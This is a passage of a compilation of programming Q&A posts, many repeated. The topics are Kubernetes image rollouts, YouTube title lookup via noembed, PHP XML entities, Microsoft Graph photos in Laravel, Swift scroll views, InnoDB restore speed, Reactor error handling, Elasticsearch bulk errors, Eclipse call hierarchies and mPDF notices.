However, when I navigated to Kubernetes Engine > Workloads, to view the deployed app on Kubernetes, although the status shows = OK, in the Managed pods section it shows the pods running from yesterday and the day before (in the Created on date column), not the deployment of today (June 29th):

1 (a) - which brings me to side question (still relating to the first question), The Revision column in the table above, does this mean the number of times I deployed new pods from an image? Because indeed I did try this step a few times, in a vain attempt to fix the issue (I think it might’ve been 4 times).
Going back to the main question, similarly if I try the external IP from the Load Balancer service, to load the site, it doesn’t show the changed code. Also, when I check the latest image pushed in the Container Registry, by navigating to Container Registry > Images, I can see a v2 of the image uploaded minutes ago. So the Container Registry does have the latest image I uploaded (meaning it overwritten the previous version 2 of the same image name in the Container Registry. Otherwise it should’ve failed if it couldn’t overwrite it). So I don’t quite understand, shouldn’t the last step (below) meant to deploy that last image v2 from the Container Registry?:

```<code>kubectl set image deployment/hello-web hello-web=gcr.io/${PROJECT_ID}/hello-app:v2
</code>```

I’m not sure what I’m missing.

2- As I’m new to Docker, I was wondering is there a way to pull the image from the Container Registry, and view the source code in the Image. Otherwise, how is it possible to verify which Image contains which version of the source code? This can cause much confusion, with many versions of images along with equally many versions of source code history changes. How can you tell which source code commit corresponds to which Docker image?

3- Finally, can anyone advise on best practices of managing Kubernetes, in different scenarios. Say in the scenario where you deployed a container from an updated image version, but realised after there are issues or missing features, so you want to roll-back to the previous deployment. So is there best practises for managing such scenarios.

Apologies for the long-winded text, and many thanks in advance.

答: I think it is related to pull policy of Kubernetes. You can force the pull policy to be always or use a unique image name.https://kukulinski.com/10-most-common-reasons-kubernetes-deployments-fail-part-1/.</p>

Body:
I’m following this tutorial for Google Cloud Platform: https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app . Basically I cloned the example hello-app project from Github both on Google Cloud (using Google cloud shell) and locally on my machine because I want to practise doing this tutorial, using both the cloud approach and my local machine (using Google Cloud SDK) - where I would then push the Docker image to the cloud, build and run it thereafter on Kubernetes.

1- My first, when I got to step 8, where I changed the source code string from “Hello, World” to “Hello, world! Version 2”, and string “Version: 1.0.0” to “Version: 2.0.0” in the Go file, basically the lines:

fmt.Fprintf(w, "Hello, world! Version 2\n")
fmt.Fprintf(w, "Version: 2.0.0\n")

I realised that I changed the source code on my local machine (not the one on the cloud). I then went to the Google Cloud Shell in the Console, re-built a Docker image with v2 tag, then pushed it to the Google Container Registry (not realising that I’m building an image from the unchanged code project stored on the cloud, rather than the one from my local machine). When I applied a rolling update to the existing deployment with an image update using kubectl, not surprisingly, it didn’t work.
So basically to fix this, I need to build an image from the (changed) source code project on my local machine and push that image to the Google Container Registry (using Google Cloud SDK shell). That’s the theory (I’m assuming at least from my understanding). I created an image with exactly the same tag (i.e. v2), bearing in mind there’s already a v2 image (with the unchanged code) stored in the Container Registry, done from my previous step. I wondered if it would simply overwrite the existing image in the Container Registry, which it did (looking the Container Registry > Images section, I can see a v2 image with Update showing just a few seconds ago).
Now everything is set for the final step, which is apply a rolling update to the existing deployment with an image update:

kubectl set image deployment/hello-web hello-web=gcr.io/${PROJECT_ID}/hello-app:v2

This was successful as I got the response:

deployment.extensions/hello-web image updated

However, when I navigated to Kubernetes Engine > Workloads, to view the deployed app on Kubernetes, although the status shows = OK, in the Managed pods section it shows the pods running from yesterday and the day before (in the Created on date column), not the deployment of today (June 29th):

1 (a) - which brings me to side question (still relating to the first question), The Revision column in the table above, does this mean the number of times I deployed new pods from an image? Because indeed I did try this step a few times, in a vain attempt to fix the issue (I think it might’ve been 4 times).
Going back to the main question, similarly if I try the external IP from the Load Balancer service, to load the site, it doesn’t show the changed code. Also, when I check the latest image pushed in the Container Registry, by navigating to Container Registry > Images, I can see a v2 of the image uploaded minutes ago. So the Container Registry does have the latest image I uploaded (meaning it overwritten the previous version 2 of the same image name in the Container Registry. Otherwise it should’ve failed if it couldn’t overwrite it). So I don’t quite understand, shouldn’t the last step (below) meant to deploy that last image v2 from the Container Registry?:

kubectl set image deployment/hello-web hello-web=gcr.io/${PROJECT_ID}/hello-app:v2

I’m not sure what I’m missing.

2- As I’m new to Docker, I was wondering is there a way to pull the image from the Container Registry, and view the source code in the Image. Otherwise, how is it possible to verify which Image contains which version of the source code? This can cause much confusion, with many versions of images along with equally many versions of source code history changes. How can you tell which source code commit corresponds to which Docker image?

3- Finally, can anyone advise on best practices of managing Kubernetes, in different scenarios. Say in the scenario where you deployed a container from an updated image version, but realised after there are issues or missing features, so you want to roll-back to the previous deployment. So is there best practises for managing such scenarios.

Apologies for the long-winded text, and many thanks in advance.


问:
Scraping Web without opening any window (completely from terminal)
I want to scrap Youtube Video (not with pytube or any other modules) with using python (requests, selenium etc) but do not want to open window like selenium does..

i can use requests but problem is,
youtube use dynamically javascript to create elements which cant be scraped by requests module, but using selenium to encounter this problem is opening windows and i want my code to fully functional in terminal (so that i can use it in my django website).. is there any way to do it?

```<code>import requests, bs4

print('Getting title of YT video..')

url = 'https://www.youtube.com/watch?v=Xw9XFtzIIV8&ab_channel=MemeJuice'
res = requests.get(url)

soup = bs4.BeautifulSoup(res.content, 'html.parser')
title = soup.find('h1', {'class':'title'})
print('Title of Video is %s' %title)
</code>```

答:
It's much better to use the YouTube API.

Unfortunately,
It is not possible to get the video title using the video ID with API v3 without the API key if you use the API directly. The YouTube Data API v2 is deprecated (see: YouTube Data API v2 Deprecation: Frequently Asked Questions) and currently the YouTube API doesn't support oEmbed with JSONP as it should (see Issue 4329: oEmbed callback for JSONP).

But fortunately there is the Noembed service that lets you get the titles (and other data) of YouTube videos with JSONP and without the API key.

Use can go to,

https://noembed.com/embed?url=https://www.youtube.com/watch?v=dQw4w9WgXcQ

And change the ID to the id you want to get basic data in json like,

```<code>```{"url":"https://www.youtube.com/watch?v=dQw4w9WgXcQ","version":"1.0","thumbnail_height":360,"provider_name":"YouTube","width":200,"thumbnail_width":480,"title":"Rick Astley - Never Gonna Give You Up (Official Music Video)","thumbnail_url":"https://i.ytimg.com/vi/dQw4w9WgXcQ/hqdefault.jpg","author_name":"Rick Astley","author_url":"https://www.youtube.com/c/RickastleyCoUkOfficial","html":"","height":113,"provider_url":"https://www.youtube.com/","type":"video"}```
</code>```

Backend code using python

```<code>import json
from requests import get
data = dict(json.loads(get("https://noembed.com/embed?url=https://www.youtube.com/watch?v="+id).text))
title = data['title']
</code>```

You can also use jQuery to get the data from the frontend,

```<code>var id = 'dQw4w9WgXcQ';
var url = 'https://www.youtube.com/watch?v=' + id;

$.getJSON('https://noembed.com/embed',
    {format: 'json', url: url}, function (data) {
    alert(data.title);
});
</code>```

Body:
I want to scrap Youtube Video (not with pytube or any other modules) with using python (requests, selenium etc) but do not want to open window like selenium does..

i can use requests but problem is,
youtube use dynamically javascript to create elements which cant be scraped by requests module, but using selenium to encounter this problem is opening windows and i want my code to fully functional in terminal (so that i can use it in my django website).. is there any way to do it?

import requests, bs4

print('Getting title of YT video..')

url = 'https://www.youtube.com/watch?v=Xw9XFtzIIV8&ab_channel=MemeJuice'
res = requests.get(url)

soup = bs4.BeautifulSoup(res.content, 'html.parser')
title = soup.find('h1', {'class':'title'})
print('Title of Video is %s' %title)

Body:
It's much better to use the YouTube API.

Unfortunately,
It is not possible to get the video title using the video ID with API v3 without the API key if you use the API directly. The YouTube Data API v2 is deprecated (see: YouTube Data API v2 Deprecation: Frequently Asked Questions) and currently the YouTube API doesn't support oEmbed with JSONP as it should (see Issue 4329: oEmbed callback for JSONP).

But fortunately there is the Noembed service that lets you get the titles (and other data) of YouTube videos with JSONP and without the API key.

Use can go to,

https://noembed.com/embed?url=https://www.youtube.com/watch?v=dQw4w9WgXcQ

And change the ID to the id you want to get basic data in json like,

```{"url":"https://www.youtube.com/watch?v=dQw4w9WgXcQ","version":"1.0","thumbnail_height":360,"provider_name":"YouTube","width":200,"thumbnail_width":480,"title":"Rick Astley - Never Gonna Give You Up (Official Music Video)","thumbnail_url":"https://i.ytimg.com/vi/dQw4w9WgXcQ/hqdefault.jpg","author_name":"Rick Astley","author_url":"https://www.youtube.com/c/RickastleyCoUkOfficial","html":"<iframe width=\"200\" height=\"113\" src=\"https://www.youtube.com/embed/dQw4w9WgXcQ?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>","height":113,"provider_url":"https://www.youtube.com/","type":"video"}```

Backend code using python

import json
from requests import get
data = dict(json.loads(get("https://noembed.com/embed?url=https://www.youtube.com/watch?v="+id).text))
title = data['title']

You can also use jQuery to get the data from the frontend,

var id = 'dQw4w9WgXcQ';
var url = 'https://www.youtube.com/watch?v=' + id;

$.getJSON('https://noembed.com/embed',
    {format: 'json', url: url}, function (data) {
    alert(data.title);
});


问:
Reading XML with PHP, including DTD entities?
I am trying to read a 40MB large XML with PHP's XMLReader but I cannot get the contents of fields such as:

```<code><pos>&n;</pos>
<misc>&abbr;</misc>
</code>```

they have definitions in the file such as:

```<code><!ENTITY abbr "abbreviation">
<!ENTITY n "noun (common) (futsuumeishi)">
</code>```

but how to I get them to be displayed?

thanks!

答: Try the XMLReader::SUBST_ENTITIES option as documented on this page.

Body:
I am trying to read a 40MB large XML with PHP's XMLReader but I cannot get the contents of fields such as:

<pos>&n;</pos>
<misc>&abbr;</misc>

they have definitions in the file such as:

<!ENTITY abbr "abbreviation">
<!ENTITY n "noun (common) (futsuumeishi)">

but how to I get them to be displayed?

thanks!


问:
How can I get the current user's picture from Microsoft Graph in this Laravel app?
I am working on a Laravel 8 app that uses Microsoft Azure for user management (login included).

I began by following this tutorial on their website.

I got stuck trying to display the current user's picture.

In the view I have:

```<code><img src="{{ isset($user_avatar) ? $user_avatar : asset('img/default-avatar.png') }}" class="rounded-circle avatar-top">
</code>```

In the AuthController controller I get the current user with the data:

```<code>$user = $graph->createRequest('GET', '/me?
$select=displayName,mail,mailboxSettings,userPrincipalName,givenName,surname,photo')
      ->setReturnType(Model\User::class)
      ->execute();
</code>```

In the app\Http\Controllers\Controller.php I have:

```<code>class Controller extends BaseController {
    use AuthorizesRequests, DispatchesJobs, ValidatesRequests;

    public function loadViewData() {

        $viewData = [];

        // Check for flash errors
        if (session('error')) {
            $viewData['error'] = session('error');
            $viewData['errorDetail'] = session('errorDetail');
        }

        // Check for logged on user
        if (session('userName'))
        {
            $viewData['userName'] = session('userName');
            $viewData['firstName'] = session('firstName');
            $viewData['lastName'] = session('lastName');
            $viewData['user_avatar'] = session('userAvatar');
            $viewData['userEmail'] = session('userEmail');
            $viewData['userTimeZone'] = session('userTimeZone');
        }

        return $viewData;
    }
}
</code>```

In the DashboardContoller, I pass $viewData to the view:

```<code>class DashboardContoller extends Controller
{
    public function index(){
        $viewData = $this->loadViewData();
        return view('dashboard', $viewData);
    }
}
</code>```

In app\TokenStore\TokenCache.php I have:

```<code>public function storeTokens($accessToken, $user) {
 session([
  'accessToken' => $accessToken->getToken(),
  'refreshToken' => $accessToken->getRefreshToken(),
  'tokenExpires' => $accessToken->getExpires(),
  'userName' => $user->getDisplayName(),
  'firstName' => $user->getGivenName(),
  'lastName' => $user->getSurname(),
  // Set AVATAR
  'userAvatar' => $user->getPhoto(),
  'userEmail' => null !== $user->getMail() ? $user->getMail() : $user->getUserPrincipalName(),
  'userTimeZone' => $user->getMailboxSettings()->getTimeZone()
 ]);
}
</code>```

As can be seen above, I use the getPhoto() method present in the User model (vendor\microsoft\microsoft-graph\src\Model\User.php).

I successfully displayed the user's full name this way.

The problem:

For a reason I have been unable to figure out, the user_avatar returns null.

What is my mistake?

答:
It's known issue that Photo property on User resource type is always null. Graph API doesn't support using Select with the Photo property at the moment.

To get the content of photo you have to call another endpoint

```<code>GET /me/photo/$value
GET /users/{id | userPrincipalName}/photo/$value
</code>```

Add to AuthController

```<code>$photo = $graph->createRequest("GET", "/me/photo/\$value")
       ->execute();
$photoMeta = $graph->createRequest("GET", "/me/photo")
       ->execute();
</code>```

Update storeTokens function for userAvatar

```<code>public function storeTokens($accessToken, $user, $photo, $photoMeta) {
 $body = $photo->getRawBody();
 $base64 = base64_encode($body);
 $meta = $photoMeta->getBody();
 $mime = $meta["@odata.mediaContentType"]
 $img = ('data:' . $mime . ';base64,' . $base64);
 session([
  'accessToken' => $accessToken->getToken(),
  'refreshToken' => $accessToken->getRefreshToken(),
  'tokenExpires' => $accessToken->getExpires(),
  'userName' => $user->getDisplayName(),
  'firstName' => $user->getGivenName(),
  'lastName' => $user->getSurname(),
  // Set AVATAR
  'userAvatar' => $img,
  'userEmail' => null !== $user->getMail() ? $user->getMail() : $user->getUserPrincipalName(),
  'userTimeZone' => $user->getMailboxSettings()->getTimeZone()
 ]);
}
</code>```

Resources:

Get profilePhoto

How to include photo

Graph API support for Photos property in select

Body:
I am working on a Laravel 8 app that uses Microsoft Azure for user management (login included).

I began by following this tutorial on their website.

I got stuck trying to display the current user's picture.

In the view I have:

In the AuthController controller I get the current user with the data:

$user = $graph->createRequest('GET', '/me?
$select=displayName,mail,mailboxSettings,userPrincipalName,givenName,surname,photo')
      ->setReturnType(Model\User::class)
      ->execute();

In the app\Http\Controllers\Controller.php I have:

class Controller extends BaseController {
    use AuthorizesRequests, DispatchesJobs, ValidatesRequests;

    public function loadViewData() {

        $viewData = [];

        // Check for flash errors
        if (session('error')) {
            $viewData['error'] = session('error');
            $viewData['errorDetail'] = session('errorDetail');
        }

        // Check for logged on user
        if (session('userName'))
        {
            $viewData['userName'] = session('userName');
            $viewData['firstName'] = session('firstName');
            $viewData['lastName'] = session('lastName');
            $viewData['user_avatar'] = session('userAvatar');
            $viewData['userEmail'] = session('userEmail');
            $viewData['userTimeZone'] = session('userTimeZone');
        }

        return $viewData;
    }
}

In the DashboardContoller, I pass $viewData to the view:

class DashboardContoller extends Controller
{
    public function index(){
        $viewData = $this->loadViewData();
        return view('dashboard', $viewData);
    }
}

In app\TokenStore\TokenCache.php I have:

public function storeTokens($accessToken, $user) {
 session([
  'accessToken' => $accessToken->getToken(),
  'refreshToken' => $accessToken->getRefreshToken(),
  'tokenExpires' => $accessToken->getExpires(),
  'userName' => $user->getDisplayName(),
  'firstName' => $user->getGivenName(),
  'lastName' => $user->getSurname(),
  // Set AVATAR
  'userAvatar' => $user->getPhoto(),
  'userEmail' => null !== $user->getMail() ? $user->getMail() : $user->getUserPrincipalName(),
  'userTimeZone' => $user->getMailboxSettings()->getTimeZone()
 ]);
}

As can be seen above, I use the getPhoto() method present in the User model (vendor\microsoft\microsoft-graph\src\Model\User.php).

I successfully displayed the user's full name this way.

The problem:

For a reason I have been unable to figure out, the user_avatar returns null.

What is my mistake?

Body:
It's known issue that Photo property on User resource type is always null. Graph API doesn't support using Select with the Photo property at the moment.

To get the content of photo you have to call another endpoint

GET /me/photo/$value
GET /users/{id | userPrincipalName}/photo/$value

Add to AuthController

$photo = $graph->createRequest("GET", "/me/photo/\$value")
       ->execute();
$photoMeta = $graph->createRequest("GET", "/me/photo")
       ->execute();

Update storeTokens function for userAvatar

public function storeTokens($accessToken, $user, $photo, $photoMeta) {
 $body = $photo->getRawBody();
 $base64 = base64_encode($body);
 $meta = $photoMeta->getBody();
 $mime = $meta["@odata.mediaContentType"]
 $img = ('data:' . $mime . ';base64,' . $base64);
 session([
  'accessToken' => $accessToken->getToken(),
  'refreshToken' => $accessToken->getRefreshToken(),
  'tokenExpires' => $accessToken->getExpires(),
  'userName' => $user->getDisplayName(),
  'firstName' => $user->getGivenName(),
  'lastName' => $user->getSurname(),
  // Set AVATAR
  'userAvatar' => $img,
  'userEmail' => null !== $user->getMail() ? $user->getMail() : $user->getUserPrincipalName(),
  'userTimeZone' => $user->getMailboxSettings()->getTimeZone()
 ]);
}

Resources:

Get profilePhoto

How to include photo

Graph API support for Photos property in select


问:
UIScrollView does not scroll + second scrollView shows nothing
it is unpleasant for me but I need some help with my UIScrollViews. They are both arranged subviews of a stackView on my MainVC.
The weird thing is that only one of them is showing content, although I used the same code for both scrollViews. The second problem is that they do not scroll, here is my code:

```<code>class HomeVC: UIViewController, UIScrollViewDelegate {

    var views = [UIImageView]()

    //StackView
    let stackView = UIStackView()
    let topView = UIScrollView()
    let bottomView = UIScrollView()

    override func viewDidLoad() {
        super.viewDidLoad()
        view.backgroundColor = MyColors.soft_pink

        prepare_data()
        print(views.count)

    }

    //MARK: - GUI

    func setUpStackView() {
        view.addSubview(stackView)
        stackView.alignment = .center
        stackView.axis = .vertical
        stackView.distribution = .equalCentering
        stackView.spacing = 5

        stackView.addArrangedSubview(topView)
        stackView.addArrangedSubview(bottomView)

        stackView.translatesAutoresizingMaskIntoConstraints = false
        stackView.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.topAnchor, constant: 20).isActive = true
        stackView.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 10).isActive = true
        stackView.trailingAnchor.constraint(equalTo: view.trailingAnchor, constant: -10).isActive = true
        stackView.bottomAnchor.constraint(equalTo: view.safeAreaLayoutGuide.bottomAnchor, constant: -25).isActive = true

        setUpTopView()
        setUpBottomView()

    }

    func setUpTopView() {
        topView.delegate = self
        topView.layer.cornerRadius = 25
        topView.layer.masksToBounds = true
        topView.layer.borderWidth = 10
        topView.layer.borderColor = UIColor.white.cgColor
        topView.contentMode = .scaleAspectFit

        topView.showsHorizontalScrollIndicator = false
        topView.isPagingEnabled = true

        topView.contentSize = CGSize(width: topView.frame.width * CGFloat(views.count),height: topView.frame.height)

        for i in 0..<views.count {
            topView.addSubview(views[i])
            views[i].frame = CGRect(x: topView.frame.width * CGFloat(i), y: 0, width: 350, height: 250)
            views[i].layer.cornerRadius = 25
        }

        topView.translatesAutoresizingMaskIntoConstraints = false
        topView.leadingAnchor.constraint(equalTo: stackView.leadingAnchor, constant: 10).isActive = true
        topView.trailingAnchor.constraint(equalTo: stackView.trailingAnchor, constant: -10).isActive = true
        topView.heightAnchor.constraint(equalToConstant: 250).isActive = true

    }

    func setUpBottomView() {
        bottomView.delegate = self
        bottomView.layer.cornerRadius = 25
        bottomView.layer.masksToBounds = true
        bottomView.layer.borderWidth = 10
        bottomView.layer.borderColor = UIColor.white.cgColor
        bottomView.contentMode = .scaleAspectFit

        bottomView.showsHorizontalScrollIndicator = false
        bottomView.isPagingEnabled = true

        bottomView.contentSize = CGSize(width: bottomView.frame.width * CGFloat(views.count),height: bottomView.frame.height)

        for i in 0..<views.count {
            bottomView.addSubview(views[i])
            views[i].frame = CGRect(x: bottomView.frame.width * CGFloat(i), y: 0, width: 350, height: 250)
            views[i].layer.cornerRadius = 25
        }

        bottomView.translatesAutoresizingMaskIntoConstraints = false
        bottomView.leadingAnchor.constraint(equalTo: stackView.leadingAnchor, constant: 10).isActive = true
        bottomView.trailingAnchor.constraint(equalTo: stackView.trailingAnchor, constant: -10).isActive = true
        bottomView.heightAnchor.constraint(equalToConstant: 250).isActive = true
    }

    func prepare_data() {
        for x in 1...6 {
            let woman = UIImage(named: "woman\(x)")
            let womanView = UIImageView(image: woman)
            womanView.contentMode = .scaleAspectFill
            views.append(womanView)
        }
        setUpStackView()
    }

}
</code>```

Could someone please be so kind and tell me what I have wrong? Thank you in advance!

答:
Try to debug by printing values. bottomView.frame.width was zero at initialisation, so update subviews in viewDidLayoutSubviews. There are more ways you can look for frame update detection.

```<code>    override func viewDidLayoutSubviews() {
        super.viewDidLayoutSubviews()
        DispatchQueue.main.async {
            self.updateSubviewFrames()
        }
    }

    func updateSubviewFrames() {
        print(bottomView.frame)
        bottomView.contentSize = CGSize(width: bottomView.frame.width * CGFloat(views.count),height: bottomView.frame.height)
        for i in 0..<views.count {
            views[i].frame = CGRect(x: bottomView.frame.width * CGFloat(i), y: 0, width: 350, height: 250)
            views[i].layer.cornerRadius = 25
        }
    }
</code>```

Body:
it is unpleasant for me but I need some help with my UIScrollViews. They are both arranged subviews of a stackView on my MainVC.
The weird thing is that only one of them is showing content, although I used the same code for both scrollViews. The second problem is that they do not scroll, here is my code:

class HomeVC: UIViewController, UIScrollViewDelegate {

    var views = [UIImageView]()

    //StackView
    let stackView = UIStackView()
    let topView = UIScrollView()
    let bottomView = UIScrollView()

    override func viewDidLoad() {
        super.viewDidLoad()
        view.backgroundColor = MyColors.soft_pink

        prepare_data()
        print(views.count)

    }

    //MARK: - GUI

    func setUpStackView() {
        view.addSubview(stackView)
        stackView.alignment = .center
        stackView.axis = .vertical
        stackView.distribution = .equalCentering
        stackView.spacing = 5

        stackView.addArrangedSubview(topView)
        stackView.addArrangedSubview(bottomView)

        stackView.translatesAutoresizingMaskIntoConstraints = false
        stackView.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.topAnchor, constant: 20).isActive = true
        stackView.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 10).isActive = true
        stackView.trailingAnchor.constraint(equalTo: view.trailingAnchor, constant: -10).isActive = true
        stackView.bottomAnchor.constraint(equalTo: view.safeAreaLayoutGuide.bottomAnchor, constant: -25).isActive = true

        setUpTopView()
        setUpBottomView()

    }

    func setUpTopView() {
        topView.delegate = self
        topView.layer.cornerRadius = 25
        topView.layer.masksToBounds = true
        topView.layer.borderWidth = 10
        topView.layer.borderColor = UIColor.white.cgColor
        topView.contentMode = .scaleAspectFit

        topView.showsHorizontalScrollIndicator = false
        topView.isPagingEnabled = true

        topView.contentSize = CGSize(width: topView.frame.width * CGFloat(views.count),height: topView.frame.height)

        for i in 0..<views.count {
            topView.addSubview(views[i])
            views[i].frame = CGRect(x: topView.frame.width * CGFloat(i), y: 0, width: 350, height: 250)
            views[i].layer.cornerRadius = 25
        }

        topView.translatesAutoresizingMaskIntoConstraints = false
        topView.leadingAnchor.constraint(equalTo: stackView.leadingAnchor, constant: 10).isActive = true
        topView.trailingAnchor.constraint(equalTo: stackView.trailingAnchor, constant: -10).isActive = true
        topView.heightAnchor.constraint(equalToConstant: 250).isActive = true

    }

    func setUpBottomView() {
        bottomView.delegate = self
        bottomView.layer.cornerRadius = 25
        bottomView.layer.masksToBounds = true
        bottomView.layer.borderWidth = 10
        bottomView.layer.borderColor = UIColor.white.cgColor
        bottomView.contentMode = .scaleAspectFit

        bottomView.showsHorizontalScrollIndicator = false
        bottomView.isPagingEnabled = true

        bottomView.contentSize = CGSize(width: bottomView.frame.width * CGFloat(views.count),height: bottomView.frame.height)

        for i in 0..<views.count {
            bottomView.addSubview(views[i])
            views[i].frame = CGRect(x: bottomView.frame.width * CGFloat(i), y: 0, width: 350, height: 250)
            views[i].layer.cornerRadius = 25
        }

        bottomView.translatesAutoresizingMaskIntoConstraints = false
        bottomView.leadingAnchor.constraint(equalTo: stackView.leadingAnchor, constant: 10).isActive = true
        bottomView.trailingAnchor.constraint(equalTo: stackView.trailingAnchor, constant: -10).isActive = true
        bottomView.heightAnchor.constraint(equalToConstant: 250).isActive = true
    }

    func prepare_data() {
        for x in 1...6 {
            let woman = UIImage(named: "woman\(x)")
            let womanView = UIImageView(image: woman)
            womanView.contentMode = .scaleAspectFill
            views.append(womanView)
        }
        setUpStackView()
    }

}

Could someone please be so kind and tell me what I have wrong? Thank you in advance!

Body:
Try to debug by printing values. bottomView.frame.width was zero at initialisation, so update subviews in viewDidLayoutSubviews. There are more ways you can look for frame update detection.

    override func viewDidLayoutSubviews() {
        super.viewDidLayoutSubviews()
        DispatchQueue.main.async {
            self.updateSubviewFrames()
        }
    }

    func updateSubviewFrames() {
        print(bottomView.frame)
        bottomView.contentSize = CGSize(width: bottomView.frame.width * CGFloat(views.count),height: bottomView.frame.height)
        for i in 0..<views.count {
            views[i].frame = CGRect(x: bottomView.frame.width * CGFloat(i), y: 0, width: 350, height: 250)
            views[i].layer.cornerRadius = 25
        }
    }


问:
Restore InnoDB tables: very very slow?
I used to deal with Myisam tables, but for foreign connections I changed to Innodb tables (converted, and added foreign keys). I often download the database from the server, and fill the localhost with it. When it was myisam tables, it used to be fast as hell. But now it requires more than 30 minutes... I know it must do checks before insert records, but I disabled the foreign key checking. Some line of it:

```<code>SET FOREIGN_KEY_CHECKS=0;
DROP TABLE IF EXISTS t1;
CREATE TABLE `t1` (  `ID` int(10) unsigned NOT NULL auto_increment,  `NAME` varchar(255) NOT NULL default '',  PRIMARY KEY  (`ID`),  UNIQUE KEY `Index_2` (`NAME`)) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8;
TRUNCATE TABLE t1;
</code>```

drop/create/truncate all tables. Then INSERT, INSERT... how to make it faster?

答:
Assuming you use mysqldump, use --extended-insert. This will combine the inserts of multiple rows into one statement.

Also try the --disable-keys option. Not only will this disable foreign key checks, it will also disable updating of indices until all rows have been inserted. It's typically much faster to update the index all at once.

If you're not using mysqldump, you can execute ALTER TABLE table_name DISABLE KEYS; before the dump and ALTER TABLE table_name ENABLE KEYS; after the dump for each table.

However, you'll likely find that a database-engine specific backup tool will be faster. Try XtraBackup.

Title: Restore InnoDB tables: very very slow?

Body:
I used to deal with Myisam tables, but for foreign connections I changed to Innodb tables (converted, and added foreign keys). I often download the database from the server, and fill the localhost with it. When it was myisam tables, it used to be fast as hell. But now it requires more than 30 minutes... I know it must do checks before insert records, but I disabled the foreign key checking. Some line of it:

SET FOREIGN_KEY_CHECKS=0;
DROP TABLE IF EXISTS t1;
CREATE TABLE `t1` (  `ID` int(10) unsigned NOT NULL auto_increment,  `NAME` varchar(255) NOT NULL default '',  PRIMARY KEY  (`ID`),  UNIQUE KEY `Index_2` (`NAME`)) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8;
TRUNCATE TABLE t1;

drop/create/truncate all tables. Then INSERT, INSERT... how to make it faster?


问:
Handling checked exception in Mono flow
Not sure how to handle checked exception in the Mono flow.

```<code>return Mono.when(monoPubs)
               .zipWhen((monos) -> repository.findById(...))
               .map((tuple) -> tuple.getT2())
               .zipWhen((org) -> createMap(org))
               .map((tuple) -> tuple.getT2())
               .zipWhen((map) -> emailService.sendEmail(...))
               .flatMap(response -> {
                   return Mono.just(userId);
               });
</code>```

Here, the sendEmail method is declared with throws Exception.

```<code>public Mono<Boolean> sendEmail(...)
            throws MessagingException, IOException
</code>```

So, How to handle this checked exception in the zipWhen flow.

Also, How to handle

.zipWhen((map) -> emailService.sendEmail(...))

if the method returns void.

答:
Exceptions are thrown from Mono method, you can use onError* methods to handle the exception the way you like

```<code> var result = Mono.just("test")
                .zipWhen((map) -> sendEmail())
                .onErrorMap(SendEmailException.class, e -> new RuntimeException(e.getMessage()))
                .flatMap(Mono::just);
</code>```

Also it is not very clear from your post that if sendEmail takes param or not, sendEmail is not taking any input, I would just use doOnNext as it is a void method.

Title: Handling checked exception in Mono flow

Body:
Not sure how to handle checked exception in the Mono flow.

return Mono.when(monoPubs)
               .zipWhen((monos) -> repository.findById(...))
               .map((tuple) -> tuple.getT2())
               .zipWhen((org) -> createMap(org))
               .map((tuple) -> tuple.getT2())
               .zipWhen((map) -> emailService.sendEmail(...))
               .flatMap(response -> {
                   return Mono.just(userId);
               });

Here, the sendEmail method is declared with throws Exception.

public Mono<Boolean> sendEmail(...)
            throws MessagingException, IOException

So, How to handle this checked exception in the zipWhen flow.

Also, How to handle

.zipWhen((map) -> emailService.sendEmail(...))

if the method returns void.

Body:
Exceptions are thrown from Mono method, you can use onError* methods to handle the exception the way you like

 var result = Mono.just("test")
                .zipWhen((map) -> sendEmail())
                .onErrorMap(SendEmailException.class, e -> new RuntimeException(e.getMessage()))
                .flatMap(Mono::just);

Also it is not very clear from your post that if sendEmail takes param or not, sendEmail is not taking any input, I would just use doOnNext as it is a void method.


问:
How can I avoid "Data too large" in ELK / elasticsearch bulk inserts?
I'm sending data daily to my elk-stack via https://metacpan.org/pod/Search::Elasticsearch::Client::7_0::Bulk
Sometimes it happens, more often recently, that I receive a "Data too large" error. The first part of my data was received, but after this error my sending script stops and I end up with incomplete data.

As far as I understood, correct me if I'm wrong, this happens when my stack is experiencing memory issues while processing the data it already received. I assume that, after some time, I could send the rest of the data, because the next day, the same issue occurs: The first bunch of my data is processed, the rest rejected with "Data too large".

I saw that I can add an "on-error" callback, but I have no clue what I can do in it. My idea would be to implement a delay and retry after some time.

Can anyone give me have a hint how to achieve it?
Are there any ideas how to avoid the issue in the first place? I already increased heap space some time ago, but after 2 month the issue reoccured.

答:
Update Remembering my "experience" with Java I simply did a restart of my ELK stack and the next import went through smoothly.

So despite the fact that 512m memory seem a bit low, it worked after a restart. Will check again today and then.

Increase memory

Schedule a nightly restart


问:
Generate a map/chart of a project in Eclipse
In Eclipse, is there a way to generate some kind of "project map" or flowchart that shows what classes are referenced and where within the workspace?

In other words, is there a way to visually represent the call hierarchy of a workspace or project?

答:
For any given method, you can right-click, "Open Call Hierarchy" and look upward or downward.

For any given method or class, you can right-click, "References".

There's nothing to show a full graph of references.  In many/most cases, this would be too cluttered to be useful, IMHO.

For plugins, see earlier post.


问:
MPDF undefined index error
I am using MPDF library to convert HTML to PDF.

Here is my code.

```<code>$HTML = '{HTML CONTENT GOES HERE}'; //HTML STRING

$MPDF->WriteHTML($html); // Converting

$MPDF->Output('preview.pdf','F'); //Saving to a File
</code>```

It works , but generating too much errors in error log ,

```<code>ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: BODY C:\wamp\www\crm\application\libraries\mpdf.php 14242
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: BODY>>ID>> C:\wamp\www\crm\application\libraries\mpdf.php 14288
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined offset: -1 C:\wamp\www\crm\application\libraries\mpdf.php 14421
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined variable: cstr C:\wamp\www\crm\application\libraries\mpdf.php 31951
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: DIV C:\wamp\www\crm\application\libraries\mpdf.php 14242
